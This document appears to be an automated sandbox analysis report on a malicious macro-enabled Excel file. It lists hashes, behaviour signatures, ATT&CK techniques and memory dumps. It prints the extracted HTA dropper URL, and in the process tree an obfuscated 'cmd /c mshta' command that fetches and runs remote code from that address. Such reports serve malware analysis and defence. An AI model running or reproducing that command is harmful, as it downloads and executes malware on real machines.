Analysis

  • max time kernel
    4265059s
  • max time network
    126s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-en-20220113
  • submitted
    18-01-2022 01:00

General

  • Target

    053bb9b9096198d542ba99d4aa0148e9af3797c17d2b874f406bf9d35749d809.xlsm

  • Size

    110KB

  • MD5

    fdba23f96e2a3337048fbd1f116ac128

  • SHA1

    b9599026ed63f455d2cda18ec8dff202170be381

  • SHA256

    053bb9b9096198d542ba99d4aa0148e9af3797c17d2b874f406bf9d35749d809

  • SHA512

    82a691f0c5abaa2a9b56c800b9d405c155e6f5c6cfa80f1f39028ff8ce7e8239ee39cef06686b855c3173c8b4d034a55901280bfb0489e2bfdbebef153a89aa6

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0056.0151.0121.0114/c.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks processor information in registry 2 TTPs 5 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\053bb9b9096198d542ba99d4aa0148e9af3797c17d2b874f406bf9d35749d809.xlsm"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1492
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0056.0151.0121.0114/c.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:2036
      • C:\Windows\system32\mshta.exe
        mshta http://0056.0151.0121.0114/c.html
        3⤵
        • Blocklisted process makes network request
        PID:1716
  • C:\Windows\system32\MusNotification.exe
    C:\Windows\system32\MusNotification.exe
    1⤵
    • Checks processor information in registry
    • Suspicious use of AdjustPrivilegeToken
    PID:3620

Network

MITRE ATT&CK Matrix ATT&CK v6

Discovery

Query Registry

2
T1012

System Information Discovery

2
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/1492-130-0x00007FF7EB070000-0x00007FF7EB080000-memory.dmp
    Filesize

    64KB

  • memory/1492-131-0x00007FF7EB070000-0x00007FF7EB080000-memory.dmp
    Filesize

    64KB

  • memory/1492-132-0x00007FF7EB070000-0x00007FF7EB080000-memory.dmp
    Filesize

    64KB

  • memory/1492-133-0x00007FF7EB070000-0x00007FF7EB080000-memory.dmp
    Filesize

    64KB

  • memory/1492-134-0x00007FF7EB070000-0x00007FF7EB080000-memory.dmp
    Filesize

    64KB

  • memory/1492-136-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp
    Filesize

    8KB

  • memory/1492-135-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp
    Filesize

    8KB

  • memory/1492-137-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp
    Filesize

    8KB

  • memory/1492-138-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp
    Filesize

    8KB

  • memory/1492-139-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp
    Filesize

    8KB

  • memory/1492-140-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp
    Filesize

    8KB

  • memory/1492-141-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp
    Filesize

    8KB

  • memory/1492-142-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp
    Filesize

    8KB

  • memory/1492-143-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp
    Filesize

    8KB

  • memory/1492-144-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp
    Filesize

    8KB

  • memory/1492-145-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp
    Filesize

    8KB

  • memory/1492-150-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp
    Filesize

    8KB

  • memory/1492-149-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp
    Filesize

    8KB

  • memory/1492-151-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp
    Filesize

    8KB

  • memory/1492-152-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp
    Filesize

    8KB

  • memory/1492-153-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp
    Filesize

    8KB

  • memory/1492-155-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp
    Filesize

    8KB

  • memory/1492-154-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp
    Filesize

    8KB

  • memory/1492-157-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp
    Filesize

    8KB

  • memory/1492-156-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp
    Filesize

    8KB

  • memory/1492-158-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp
    Filesize

    8KB

  • memory/1492-159-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp
    Filesize

    8KB

  • memory/1492-160-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp
    Filesize

    8KB

  • memory/1492-161-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp
    Filesize

    8KB

  • memory/1492-162-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp
    Filesize

    8KB

  • memory/1492-163-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp
    Filesize

    8KB

  • memory/1492-164-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp
    Filesize

    8KB

  • memory/1492-166-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp
    Filesize

    8KB

  • memory/1492-165-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp
    Filesize

    8KB

  • memory/1492-167-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp
    Filesize

    8KB

  • memory/1492-168-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp
    Filesize

    8KB

  • memory/1492-169-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp
    Filesize

    8KB

  • memory/1492-170-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp
    Filesize

    8KB

  • memory/1492-171-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp
    Filesize

    8KB

  • memory/1492-173-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp
    Filesize

    8KB

  • memory/1492-172-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp
    Filesize

    8KB

  • memory/1492-174-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp
    Filesize

    8KB

  • memory/1492-175-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp
    Filesize

    8KB

  • memory/1492-176-0x0000019B3B0F0000-0x0000019B3B0F2000-memory.dmp
    Filesize

    8KB

  • memory/1492-177-0x00007FF7EB070000-0x00007FF7EB080000-memory.dmp
    Filesize

    64KB

  • memory/1492-179-0x00007FF7EB070000-0x00007FF7EB080000-memory.dmp
    Filesize

    64KB

  • memory/1492-178-0x00007FF7EB070000-0x00007FF7EB080000-memory.dmp
    Filesize

    64KB

  • memory/1492-180-0x00007FF7EB070000-0x00007FF7EB080000-memory.dmp
    Filesize

    64KB

  • memory/1716-147-0x0000000000000000-mapping.dmp
  • memory/1716-148-0x000002184BDC8000-0x000002184BDD0000-memory.dmp
    Filesize

    32KB

  • memory/2036-146-0x0000000000000000-mapping.dmp